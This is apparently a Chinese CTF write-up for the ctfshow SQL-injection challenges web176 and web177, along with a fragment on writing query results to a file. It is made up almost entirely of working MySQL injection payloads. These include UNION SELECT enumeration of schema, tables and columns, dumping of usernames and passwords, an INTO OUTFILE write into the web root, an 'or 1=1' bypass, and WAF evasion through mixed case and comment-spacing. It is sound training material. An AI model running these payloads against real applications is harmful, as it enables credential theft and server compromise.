写文件

1
0' union select username,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+  //返回信息 Query OK, 1 row affected (0.01 sec)

2021/9/3

web176

源码:

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
方法一

查列数

1
1' order by 3 --+

查库名

1
2
3
0' unIoN SelEcT 1,database(),3 --+  //ctfshow_web

1' unIoN SelEcT 1,database(),3 --+ //ctfshow_web

查表名

1
0' unIoN SelEcT 1,group_concat(taBle_nAme),3 From infoRmaTion_schEma.taBles wHerE table_schema=database() --+  //ctfshow_user

查列名

1
2
3
4
5
0' unIoN SelEcT 1,group_concat(Column_nAme),3 From infoRmaTion_schEma.colUmns wHerE table_name='ctfshow_user' --+ //id,username,password



0' unIoN SelEcT 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user' --+ //id,username,password

查username值

1
0' unIoN SelEcT id,username,password From ctfshow_user --+ //flag

查password值

1
0' unIoN SelEcT id,username,password From ctfshow_user --+ //flag

貌似只过滤了 union select

方法二

万能密码

1
1' or 1=1 --+  //输出所有字段

web177

查列数

1
1'/**/order/**/by/**/3/**/%23

查库名

1
0'/**/union/**/select/**/1,database(),3/**/%23  //ctfshow_web

查表名

1
0'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/%23 //ctfshow_user

查列名

1
0'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'/**/%23 //id,username,password

查字段内容

1
0'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/%23 //flag

由于字符太多了 造成md文档太卡 以后分成不同的部分写下来